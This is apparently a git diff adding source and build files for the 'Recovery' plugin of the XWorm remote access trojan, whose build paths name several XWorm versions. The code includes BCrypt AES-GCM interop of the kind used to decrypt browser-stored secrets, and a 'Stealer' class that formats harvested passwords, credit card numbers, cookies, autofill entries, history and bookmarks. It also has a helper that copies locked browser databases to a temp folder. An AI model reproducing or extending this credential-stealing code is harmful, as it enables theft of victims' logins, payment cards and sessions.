+				if (pbAuthData != IntPtr.Zero)
+				{
+					Marshal.FreeHGlobal(pbAuthData);
+				}
+				if (pbMacContext != IntPtr.Zero)
+				{
+					Marshal.FreeHGlobal(pbMacContext);
+				}
+			}
+		}
+
+		public struct BCRYPT_KEY_LENGTHS_STRUCT
+		{
+			public int dwMinLength;
+
+			public int dwMaxLength;
+
+			public int dwIncrement;
+		}
+
+		public struct BCRYPT_OAEP_PADDING_INFO
+		{
+			[MarshalAs(UnmanagedType.LPWStr)]
+			public string pszAlgId;
+
+			public IntPtr pbLabel;
+
+			public int cbLabel;
+
+			public BCRYPT_OAEP_PADDING_INFO(string alg)
+			{
+				pszAlgId = alg;
+				pbLabel = IntPtr.Zero;
+				cbLabel = 0;
+			}
+		}
+
+		public const uint ERROR_SUCCESS = 0u;
+
+		public const uint BCRYPT_PAD_PSS = 8u;
+
+		public const uint BCRYPT_PAD_OAEP = 4u;
+
+		public static readonly byte[] BCRYPT_KEY_DATA_BLOB_MAGIC = BitConverter.GetBytes(1296188491);
+
+		public static readonly string BCRYPT_OBJECT_LENGTH = "ObjectLength";
+
+		public static readonly string BCRYPT_CHAIN_MODE_GCM = "ChainingModeGCM";
+
+		public static readonly string BCRYPT_AUTH_TAG_LENGTH = "AuthTagLength";
+
+		public static readonly string BCRYPT_CHAINING_MODE = "ChainingMode";
+
+		public static readonly string BCRYPT_KEY_DATA_BLOB = "KeyDataBlob";
+
+		public static readonly string BCRYPT_AES_ALGORITHM = "AES";
+
+		public static readonly string MS_PRIMITIVE_PROVIDER = "Microsoft Primitive Provider";
+
+		public static readonly int BCRYPT_AUTH_MODE_CHAIN_CALLS_FLAG = 1;
+
+		public static readonly int BCRYPT_INIT_AUTH_MODE_INFO_VERSION = 1;
+
+		public static readonly uint STATUS_AUTH_TAG_MISMATCH = 3221266434u;
+
+		[DllImport("bcrypt.dll")]
+		public static extern uint BCryptOpenAlgorithmProvider(out IntPtr phAlgorithm, [MarshalAs(UnmanagedType.LPWStr)] string pszAlgId, [MarshalAs(UnmanagedType.LPWStr)] string pszImplementation, uint dwFlags);
+
+		[DllImport("bcrypt.dll")]
+		public static extern uint BCryptCloseAlgorithmProvider(IntPtr hAlgorithm, uint flags);
+
+		[DllImport("bcrypt.dll")]
+		public static extern uint BCryptGetProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbOutput, int cbOutput, ref int pcbResult, uint flags);
+
+		[DllImport("bcrypt.dll", EntryPoint = "BCryptSetProperty")]
+		internal static extern uint BCryptSetAlgorithmProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbInput, int cbInput, int dwFlags);
+
+		[DllImport("bcrypt.dll")]
+		public static extern uint BCryptImportKey(IntPtr hAlgorithm, IntPtr hImportKey, [MarshalAs(UnmanagedType.LPWStr)] string pszBlobType, out IntPtr phKey, IntPtr pbKeyObject, int cbKeyObject, byte[] pbInput, int cbInput, uint dwFlags);
+
+		[DllImport("bcrypt.dll")]
+		public static extern uint BCryptDestroyKey(IntPtr hKey);
+
+		[DllImport("bcrypt.dll")]
+		public static extern uint BCryptEncrypt(IntPtr hKey, byte[] pbInput, int cbInput, ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo, byte[] pbIV, int cbIV, byte[] pbOutput, int cbOutput, ref int pcbResult, uint dwFlags);
+
+		[DllImport("bcrypt.dll")]
+		internal static extern uint BCryptDecrypt(IntPtr hKey, byte[] pbInput, int cbInput, ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo, byte[] pbIV, int cbIV, byte[] pbOutput, int cbOutput, ref int pcbResult, int dwFlags);
+	}
+}

Plugins/Recovery/Recovery/Stealer/cBrowserUtils.cs

@@ -0,0 +1,106 @@
+using System;
+using System.Collections.Generic;
+using System.Text;
+using Newtonsoft.Json;
+
+namespace Stealer
+{
+	internal sealed class cBrowserUtils
+	{
+		public static DateTime UnixTimeStampToDateTime(double unixTimeStamp, bool isChrome = false)
+		{
+			DateTime dateTime = new DateTime(1970, 1, 1, 0, 0, 0, 0, DateTimeKind.Utc);
+			if (isChrome)
+			{
+				dateTime = new DateTime(1601, 1, 1, 0, 0, 0, 0, DateTimeKind.Utc);
+			}
+			return dateTime.AddSeconds(unixTimeStamp).ToLocalTime();
+		}
+
+		private static string FormatPassword(Password pPassword)
+		{
+			return $"Url: \t{pPassword.sUrl}\r\nUsername: \t{pPassword.sUsername}\r\nPassword: \t{pPassword.sPassword}\r\n\r\n";
+		}
+
+		private static string FormatCreditCard(CreditCard cCard)
+		{
+			return string.Format("Type: \t{0}\r\nNumber: \t{1}\r\nExp: \t{2}\r\nHolder: \t{3}\r\n\r\n", Banking.DetectCreditCardType(cCard.sNumber), cCard.sNumber, cCard.sExpMonth + "/" + cCard.sExpYear, cCard.sName);
+		}
+
+		private static string FormatCookie(Cookie cCookie)
+		{
+			return $"Key:\t{cCookie.domain}\r\nPath:\t{cCookie.path}\r\nExpireUtc:\t{cCookie.expirationDate}\r\nName:\t{cCookie.name}\r\nValue:\t{cCookie.value}\r\n";
+		}
+
+		private static string FormatAutoFill(AutoFill aFill)
+		{
+			return $"Name:\t{aFill.sName}\r\nValue:\t{aFill.sValue}\r\n\r\n";
+		}
+
+		private static string FormatHistory(Site sSite)
+		{
+			return string.Format("Title: \t{1}\r\nUrl: \t{0}\r\nCount:\t{2}\r\n", sSite.sTitle, sSite.sUrl, sSite.iCount);
+		}
+
+		private static string FormatBookmark(Bookmark bBookmark)
+		{
+			if (!string.IsNullOrEmpty(bBookmark.sUrl))
+			{
+				return $"Title: \t{bBookmark.sTitle}\r\nUrl: \t{bBookmark.sUrl}\r\n";
+			}
+			return $"Title: \t{bBookmark.sTitle}\r\n";
+		}
+
+		public static bool WriteCookies(List<Cookie> cCookies, StringBuilder builder)
+		{
+			builder.Append(JsonConvert.SerializeObject(cCookies, Formatting.Indented));
+			return true;
+		}
+
+		public static bool WriteAutoFill(List<AutoFill> aFills, StringBuilder builder)
+		{
+			foreach (AutoFill aFill in aFills)
+			{
+				string value = FormatAutoFill(aFill);
+				builder.Append(value);
+			}
+			return true;
+		}
+
+		public static bool WriteHistory(List<Site> sHistory, StringBuilder builder)
+		{
+			foreach (Site item in sHistory)
+			{
+				string value = FormatHistory(item);
+				builder.Append(value);
+			}
+			return true;
+		}
+
+		public static bool WriteBookmarks(List<Bookmark> bBookmarks, StringBuilder builder)
+		{
+			foreach (Bookmark bBookmark in bBookmarks)
+			{
+				string value = FormatBookmark(bBookmark);
+				builder.Append(value);
+			}
+			return true;
+		}
+
+		public static bool WritePasswords(List<Password> pPasswords, StringBuilder builder)
+		{
+			builder.Append(JsonConvert.SerializeObject(pPasswords, Formatting.Indented));
+			return true;
+		}
+
+		public static bool WriteCreditCards(List<CreditCard> cCC, StringBuilder builder)
+		{
+			foreach (CreditCard item in cCC)
+			{
+				string value = FormatCreditCard(item);
+				builder.Append(value);
+			}
+			return true;
+		}
+	}
+}

Plugins/Recovery/Recovery/Utils/FileUtils.cs

@@ -0,0 +1,17 @@
+// Recovery, Version=1.0.7.0, Culture=neutral, PublicKeyToken=null
+// Utils.FileUtils
+using System;
+using System.IO;
+
+internal class FileUtils
+{
+	public static string CreateTempDuplicateFile(string filePath)
+	{
+		string environmentVariable = Environment.GetEnvironmentVariable("LOCALAPPDATA");
+		string text = "";
+		text = Path.GetRandomFileName();
+		string text2 = environmentVariable + "\\Temp\\" + text;
+		File.Copy(filePath, text2);
+		return text2;
+	}
+}

Plugins/Recovery/Recovery/Utils/MiscUtils.cs

@@ -0,0 +1,14 @@
+// Recovery, Version=1.0.7.0, Culture=neutral, PublicKeyToken=null
+// Utils.MiscUtils
+using System.Runtime.InteropServices;
+using Plugin;
+
+internal class MiscUtils
+{
+	public static void BCRYPT_INIT_AUTH_MODE_INFO(out BCrypt.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO _AUTH_INFO_STRUCT_)
+	{
+		_AUTH_INFO_STRUCT_ = default(BCrypt.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO);
+		_AUTH_INFO_STRUCT_.cbSize = Marshal.SizeOf(typeof(BCrypt.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO));
+		_AUTH_INFO_STRUCT_.dwInfoVersion = 1u;
+	}
+}

Plugins/Recovery/Recovery/obj/Debug/.NETFramework,Version=v4.0.AssemblyAttributes.cs

@@ -0,0 +1,4 @@
+// <autogenerated />
+using System;
+using System.Reflection;
+[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.0", FrameworkDisplayName = ".NET Framework 4")]

Plugins/Recovery/Recovery/obj/Debug/.NETFramework,Version=v4.8.AssemblyAttributes.cs

@@ -0,0 +1,4 @@
+// <autogenerated />
+using System;
+using System.Reflection;
+[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.8", FrameworkDisplayName = ".NET Framework 4.8")]

Plugins/Recovery/Recovery/obj/Debug/Recovery.csproj.FileListAbsolute.txt

@@ -0,0 +1,86 @@
+C:\Users\XCoder\source\repos\Recovery\Recovery\obj\Debug\Recovery.csproj.CoreCompileInputs.cache
+C:\Users\XCoder\source\repos\Recovery\Recovery\obj\Debug\Recovery.dll
+C:\Users\XCoder\source\repos\Recovery\Recovery\obj\Debug\Recovery.pdb
+C:\Users\XCoder\Desktop\NewWork\Recovery\Recovery\obj\Debug\Recovery.csproj.CoreCompileInputs.cache
+C:\Users\XCoder\Desktop\NewWork\Recovery\Recovery\obj\Debug\Recovery.dll
+C:\Users\XCoder\Desktop\NewWork\Recovery\Recovery\obj\Debug\Recovery.pdb
+C:\Users\XCoder\Desktop\XWorm V5.0\XWorm V5.0\XWorm V5.0\Dark Worm\Plugins\Recovery\Recovery\obj\Debug\Recovery.csproj.CoreCompileInputs.cache
+C:\Users\XCoder\Desktop\XWorm V5.0\XWorm V5.0\XWorm V5.0\Dark Worm\Plugins\Recovery\Recovery\obj\Debug\Recovery.dll
+C:\Users\XCoder\Desktop\XWorm V5.0\XWorm V5.0\XWorm V5.0\Dark Worm\Plugins\Recovery\Recovery\obj\Debug\Recovery.pdb
+C:\Users\XCoder\Desktop\XWorm V5.0\XWorm V5.0\XWorm V5.0\Dark Worm\Plugins\Recovery\Recovery\obj\Debug\Recovery.csproj.AssemblyReference.cache
+C:\Users\XCoder\Desktop\XWorm V5.1\XWorm V5.1\XWorm V5.1\Dark Worm\Plugins\Recovery\Recovery\obj\Debug\Recovery.csproj.CoreCompileInputs.cache
+C:\Users\XCoder\Desktop\XWorm V5.1\XWorm V5.1\XWorm V5.1\Dark Worm\Plugins\Recovery\Recovery\obj\Debug\Recovery.dll
+C:\Users\XCoder\Desktop\XWorm V5.1\XWorm V5.1\XWorm V5.1\Dark Worm\Plugins\Recovery\Recovery\obj\Debug\Recovery.pdb
+C:\Users\XCoder\Desktop\XWorm V5.1\XWorm V5.1\XWorm V5.1\Dark Worm\Plugins\Recovery\Recovery\obj\Debug\Recovery.csproj.AssemblyReference.cache
+C:\Users\XCoder\Desktop\XWorm V5.2\XWorm V5.2\XWorm V5.2\Dark Worm\Plugins\Recovery\Recovery\obj\Debug\Recovery.csproj.AssemblyReference.cache
+C:\Users\XCoder\Desktop\XWorm V5.2\XWorm V5.2\XWorm V5.2\Dark Worm\Plugins\Recovery\Recovery\obj\Debug\Recovery.csproj.CoreCompileInputs.cache
+C:\Users\XCoder\Desktop\XWorm V5.2\XWorm V5.2\XWorm V5.2\Dark Worm\Plugins\Recovery\Recovery\obj\Debug\Recovery.dll
+C:\Users\XCoder\Desktop\XWorm V5.2\XWorm V5.2\XWorm V5.2\Dark Worm\Plugins\Recovery\Recovery\obj\Debug\Recovery.pdb
+C:\Users\XCoder\Desktop\XWorm V5.2 Optimized\XWorm V5.2\XWorm V5.2\XWorm V5.2\Dark Worm\Plugins\Recovery\Recovery\obj\Debug\Recovery.csproj.CoreCompileInputs.cache
+C:\Users\XCoder\Desktop\XWorm V5.2 Optimized\XWorm V5.2\XWorm V5.2\XWorm V5.2\Dark Worm\Plugins\Recovery\Recovery\obj\Debug\Recovery.dll
+C:\Users\XCoder\Desktop\XWorm V5.2 Optimized\XWorm V5.2\XWorm V5.2\XWorm V5.2\Dark Worm\Plugins\Recovery\Recovery\obj\Debug\Recovery.pdb
+C:\Users\XCoder\Desktop\XWorm V5.2 Optimized\XWorm V5.2\XWorm V5.2\XWorm V5.2\Dark Worm\Plugins\Recovery\Recovery\obj\Debug\Recovery.csproj.AssemblyReference.cache
+C:\Users\XCoder\Desktop\XWorm V5.3 Optimized\XWorm V5.3\XWorm V5.3\XWorm V5.3\Dark Worm\Plugins\Recovery\Recovery\obj\Debug\Recovery.csproj.CoreCompileInputs.cache
+C:\Users\XCoder\Desktop\XWorm V5.3 Optimized\XWorm V5.3\XWorm V5.3\XWorm V5.3\Dark Worm\Plugins\Recovery\Recovery\obj\Debug\Recovery.dll
+C:\Users\XCoder\Desktop\XWorm V5.3 Optimized\XWorm V5.3\XWorm V5.3\XWorm V5.3\Dark Worm\Plugins\Recovery\Recovery\obj\Debug\Recovery.pdb
+C:\Users\XCoder\Desktop\XWorm V5.4 Optimized\XWorm V5.4\XWorm V5.4\Dark Worm\Plugins\Recovery\Recovery\obj\Debug\Recovery.csproj.CoreCompileInputs.cache
+C:\Users\XCoder\Desktop\XWorm V5.4 Optimized\XWorm V5.4\XWorm V5.4\Dark Worm\Plugins\Recovery\Recovery\obj\Debug\Recovery.dll
+C:\Users\XCoder\Desktop\XWorm V5.4 Optimized\XWorm V5.4\XWorm V5.4\Dark Worm\Plugins\Recovery\Recovery\obj\Debug\Recovery.pdb
+C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm V5.5\Dark Worm\Plugins\Recovery\Recovery\obj\Debug\Recovery.csproj.CoreCompileInputs.cache
+C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm V5.5\Dark Worm\Plugins\Recovery\Recovery\obj\Debug\Recovery.dll
+C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm V5.5\Dark Worm\Plugins\Recovery\Recovery\obj\Debug\Recovery.pdb
+C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm V5.5\Dark Worm\Plugins\Recovery\Recovery\obj\Debug\Recovery.csproj.AssemblyReference.cache
+C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm\Plugins\Recovery\Recovery\obj\Debug\Recovery.csproj.AssemblyReference.cache
+C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm\Plugins\Recovery\Recovery\obj\Debug\Recovery.csproj.CoreCompileInputs.cache
+C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm\Plugins\Recovery\Recovery\obj\Debug\Recovery.dll
+C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm\Plugins\Recovery\Recovery\obj\Debug\Recovery.pdb
+C:\Users\XCoder\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\Recovery\Recovery\obj\Debug\Recovery.csproj.AssemblyReference.cache
+C:\Users\XCoder\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\Recovery\Recovery\obj\Debug\Recovery.csproj.CoreCompileInputs.cache
+C:\Users\XCoder\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\Recovery\Recovery\obj\Debug\Recovery.dll
+C:\Users\XCoder\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\Recovery\Recovery\obj\Debug\Recovery.pdb
+C:\Users\XCoder\Desktop\Programs\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\Recovery\Recovery\obj\Debug\Recovery.csproj.CoreCompileInputs.cache
+C:\Users\XCoder\Desktop\Programs\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\Recovery\Recovery\obj\Debug\Recovery.dll
+C:\Users\XCoder\Desktop\Programs\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\Recovery\Recovery\obj\Debug\Recovery.pdb
+C:\Users\HP\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\Recovery\Recovery\obj\Debug\Recovery.csproj.CoreCompileInputs.cache
+C:\Users\HP\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\Recovery\Recovery\obj\Debug\Recovery.dll
+C:\Users\HP\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\Recovery\Recovery\obj\Debug\Recovery.pdb
+C:\Users\HP\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\Recovery\Recovery\obj\Debug\Recovery.csproj.AssemblyReference.cache
+C:\Users\HP\Desktop\XWorm V5.6 Optimized - USER HERE\XWorm V5.6\XWorm\Plugins\Recovery\Recovery\obj\Debug\Recovery.csproj.CoreCompileInputs.cache
+C:\Users\HP\Desktop\XWorm V5.6 Optimized - USER HERE\XWorm V5.6\XWorm\Plugins\Recovery\Recovery\obj\Debug\Recovery.dll
+C:\Users\HP\Desktop\XWorm V5.6 Optimized - USER HERE\XWorm V5.6\XWorm\Plugins\Recovery\Recovery\obj\Debug\Recovery.pdb
+C:\Users\Brwa\Desktop\NK\XWorm V6.0 Source Code\XWorm V6.0\Plugins\Recovery\Recovery\obj\Debug\Recovery.csprojAssemblyReference.cache
+C:\Users\Brwa\Desktop\NK\XWorm V6.0 Source Code\XWorm V6.0\Plugins\Recovery\Recovery\obj\Debug\Recovery.dll
+C:\Users\Brwa\Desktop\NK\XWorm V6.0 Source Code\XWorm V6.0\Plugins\Recovery\Recovery\obj\Debug\Recovery.pdb
+C:\Users\Brwa\Desktop\NK\XWorm V6.0 Source Code\XWorm V6.0 SC\Plugins\Recovery\Recovery\obj\Debug\Recovery.csprojAssemblyReference.cache
+C:\Users\Brwa\Desktop\NK\XWorm V6.0 Source Code\XWorm V6.0 SC\Plugins\Recovery\Recovery\obj\Debug\Recovery.dll
+C:\Users\Brwa\Desktop\NK\XWorm V6.0 Source Code\XWorm V6.0 SC\Plugins\Recovery\Recovery\obj\Debug\Recovery.pdb
+C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery\Plugins\Recovery\Recovery\obj\Debug\Recovery.dll
+C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery\Plugins\Recovery\Recovery\obj\Debug\Recovery.pdb
+C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery\Plugins\Recovery\Recovery\obj\Debug\Recovery.csprojAssemblyReference.cache
+C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Copy\Plugins\Recovery\Recovery\obj\Debug\Recovery.csprojAssemblyReference.cache
+C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Copy\Plugins\Recovery\Recovery\obj\Debug\Recovery.dll
+C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Copy\Plugins\Recovery\Recovery\obj\Debug\Recovery.pdb
+C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - Auto\Plugins\Recovery\Recovery\obj\Debug\Recovery.dll
+C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - Auto\Plugins\Recovery\Recovery\obj\Debug\Recovery.pdb
+C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - Auto\Plugins\Recovery\Recovery\obj\Debug\Recovery.csprojAssemblyReference.cache
+C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - AutoDatabase\Plugins\Recovery\Recovery\obj\Debug\Recovery.dll
+C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - AutoDatabase\Plugins\Recovery\Recovery\obj\Debug\Recovery.pdb
+C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - AutoDatabase\Plugins\Recovery\Recovery\obj\Debug\Recovery.csprojAssemblyReference.cache
+C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - AutoDatabase 2\Plugins\Recovery\Recovery\obj\Debug\Recovery.csprojAssemblyReference.cache
+C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - AutoDatabase 2\Plugins\Recovery\Recovery\obj\Debug\Recovery.dll
+C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - AutoDatabase 2\Plugins\Recovery\Recovery\obj\Debug\Recovery.pdb
+C:\Users\Brwa\Desktop\NK\XWorm V6.3 SC Recovery - Fixed RCE - AutoDatabase 2\Plugins\Recovery\Recovery\obj\Debug\Recovery.csprojAssemblyReference.cache
+C:\Users\Brwa\Desktop\NK\XWorm V6.3 SC Recovery - Fixed RCE - AutoDatabase 2\Plugins\Recovery\Recovery\obj\Debug\Recovery.dll
+C:\Users\Brwa\Desktop\NK\XWorm V6.3 SC Recovery - Fixed RCE - AutoDatabase 2\Plugins\Recovery\Recovery\obj\Debug\Recovery.pdb
+C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\Recovery\Recovery\obj\Debug\Recovery.csproj.AssemblyReference.cache
+C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\Recovery\Recovery\obj\Debug\Recovery.csproj.CoreCompileInputs.cache
+C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\Recovery\Recovery\obj\Debug\Recovery.dll
+C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\Recovery\Recovery\obj\Debug\Recovery.pdb
+C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\Plugins\Recovery\Recovery\obj\Debug\Recovery.csproj.AssemblyReference.cache
+C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\Plugins\Recovery\Recovery\obj\Debug\Recovery.csproj.CoreCompileInputs.cache
+C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\Plugins\Recovery\Recovery\obj\Debug\Recovery.dll
+C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\Plugins\Recovery\Recovery\obj\Debug\Recovery.pdb
+C:\Users\byt3d4sh\Desktop\src 2\Plugins\Recovery\Recovery\obj\Debug\Recovery.csproj.AssemblyReference.cache
+C:\Users\byt3d4sh\Desktop\src 2\Plugins\Recovery\Recovery\obj\Debug\Recovery.csproj.CoreCompileInputs.cache
+C:\Users\byt3d4sh\Desktop\src 2\Plugins\Recovery\Recovery\obj\Debug\Recovery.dll
+C:\Users\byt3d4sh\Desktop\src 2\Plugins\Recovery\Recovery\obj\Debug\Recovery.pdb

Plugins/Recovery/Recovery/obj/Debug/Recovery.ilmerge

@@ -0,0 +1,3 @@
+Recovery.dll
+Newtonsoft.Json.dll
+System.Data.SQLite.dll

Plugins/Recovery/Recovery/obj/Release/.NETFramework,Version=v4.0.AssemblyAttributes.cs

@@ -0,0 +1,4 @@
+// <autogenerated />
+using System;
+using System.Reflection;
+[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.0", FrameworkDisplayName = ".NET Framework 4")]

Plugins/Recovery/Recovery/obj/Release/.NETFramework,Version=v4.8.AssemblyAttributes.cs

@@ -0,0 +1,4 @@
+// <autogenerated />
+using System;
+using System.Reflection;
+[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.8", FrameworkDisplayName = ".NET Framework 4.8")]

Plugins/Recovery/Recovery/obj/Release/Recovery.csproj.CoreCompileInputs.cache

@@ -0,0 +1 @@
+a44929a9f84cf983767f2d255fdae6d87c980e10cf375c628c5ebfc59dc7bfad

Plugins/Recovery/Recovery/obj/Release/Recovery.csproj.FileListAbsolute.txt

@@ -0,0 +1,2 @@
+C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\Recovery\Recovery\obj\Release\Recovery.csproj.AssemblyReference.cache
+C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\Recovery\Recovery\obj\Release\Recovery.csproj.CoreCompileInputs.cache

Plugins/Recovery/Recovery/packages.config

@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="utf-8"?>
+<packages>
+  <package id="ILMerge" version="3.0.41" targetFramework="net48" />
+  <package id="MSBuild.ILMerge.Task" version="1.1.3" targetFramework="net40" />
+  <package id="Newtonsoft.Json" version="13.0.3" targetFramework="net40" requireReinstallation="true" />
+</packages>

Plugins/Recovery/packages/MSBuild.ILMerge.Task.1.1.3/License.txt

@@ -0,0 +1,21 @@
+The MIT License (MIT)
+
+Copyright (c) 2013-2016 Alexander Nosenko
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

Plugins/Recovery/packages/MSBuild.ILMerge.Task.1.1.3/build/MSBuild.ILMerge.Task.props

@@ -0,0 +1,11 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <!-- try to import project-specific settings; also use fixed name that was injected into project by NuGet -->
+  <PropertyGroup>
+    <!-- at this point only MSBuild* property are available -->
+    <MSBuildIlMerge1>$(MSBuildProjectDirectory)\$(MSBuildProjectName).ILMerge.props</MSBuildIlMerge1>
+    <MSBuildIlMerge2>$(MSBuildProjectDirectory)\ILMerge.props</MSBuildIlMerge2>
+  </PropertyGroup>
+  <Import Project="$(MSBuildIlMerge1)" Condition="Exists($(MSBuildIlMerge1))"/>
+  <Import Project="$(MSBuildIlMerge2)" Condition="Exists($(MSBuildIlMerge2))"/>
+</Project>

Plugins/Recovery/packages/MSBuild.ILMerge.Task.1.1.3/build/MSBuild.ILMerge.Task.targets

@@ -0,0 +1,116 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <PropertyGroup>
+    <!-- give project-specific settings reasonable defaults -->
+    <ILMergePackagesPath Condition=" $(ILMergePackagePath) == '' ">$(SolutionDir)packages</ILMergePackagesPath>
+    <ILMergeOrderFile Condition=" $(ILMergeOrderFile) == '' ">$(MSBuildProjectDirectory)\ILMergeOrder.txt</ILMergeOrderFile>
+    <ILMergeKeyFile Condition=" $(ILMergeKeyFile) == '' ">$(AssemblyOriginatorKeyFile)</ILMergeKeyFile>
+    <ILMergeAssemblyVersion Condition=" $(ILMergeAssemblyVersion) == '' "></ILMergeAssemblyVersion>
+
+    <ILMergeAllowDuplicateType Condition=" $(ILMergeAllowDuplicateType) == '' "></ILMergeAllowDuplicateType>
+    <ILMergeAllowMultipleAssemblyLevelAttributes Condition=" $(ILMergeAllowMultipleAssemblyLevelAttributes) == '' ">false</ILMergeAllowMultipleAssemblyLevelAttributes>
+    <ILMergeAllowZeroPeKind Condition=" $(ILMergeAllowZeroPeKind) == '' ">false</ILMergeAllowZeroPeKind>
+    <ILMergeCopyAttributes Condition=" $(ILMergeCopyAttributes) == '' ">false</ILMergeCopyAttributes>
+    <ILMergeDebugInfo Condition=" $(ILMergeDebugInfo) == '' ">true</ILMergeDebugInfo>
+    <ILMergeDelaySign Condition=" $(ILMergeDelaySign) == '' ">false</ILMergeDelaySign>
+    <ILMergeFileAlignment Condition=" $(ILMergeFileAlignment) == '' ">512</ILMergeFileAlignment>
+    <ILMergeInternalize Condition=" $(ILMergeInternalize) == '' ">false</ILMergeInternalize>
+    <ILMergeInternalizeExcludeFile Condition=" $(ILMergeInternalizeExcludeFile) == '' "></ILMergeInternalizeExcludeFile>
+    <ILMergeXmlDocumentation Condition=" $(ILMergeXmlDocumentation) == '' ">false</ILMergeXmlDocumentation>
+    <ILMergePublicKeyTokens Condition=" $(ILMergePublicKeyTokens) == '' ">true</ILMergePublicKeyTokens>
+    <ILMergeShouldLog Condition=" $(ILMergeShouldLog) == '' ">true</ILMergeShouldLog>
+    <!--<ILMergeTargetKind Condition=" $(ILMergeTargetKind) == '' "></ILMergeTargetKind>-->
+    <ILMergeUnionMerge Condition=" $(ILMergeUnionMerge) == '' ">false</ILMergeUnionMerge>
+    <ILTargetPlatform Condition=" $(ILTargetPlatform) == '' ">40</ILTargetPlatform>
+    <!--<ILMergeVersion Condition=" $(ILMergeVersion) == '' "></ILMergeVersion>-->
+    
+    <ILMergeToolsPath Condition=" $(ILMergeToolsPath) == '' ">$(MSBuildThisFileDirectory)..\tools\</ILMergeToolsPath>
+  </PropertyGroup>
+
+  <!-- decide what goes into output after compile-->
+  <Target Name="SaveILMergeData" AfterTargets="CoreCompile">
+    <Message Text="Transitive merge" Importance="high" Condition="$(ILMergeTransitive) == 'true'" />
+
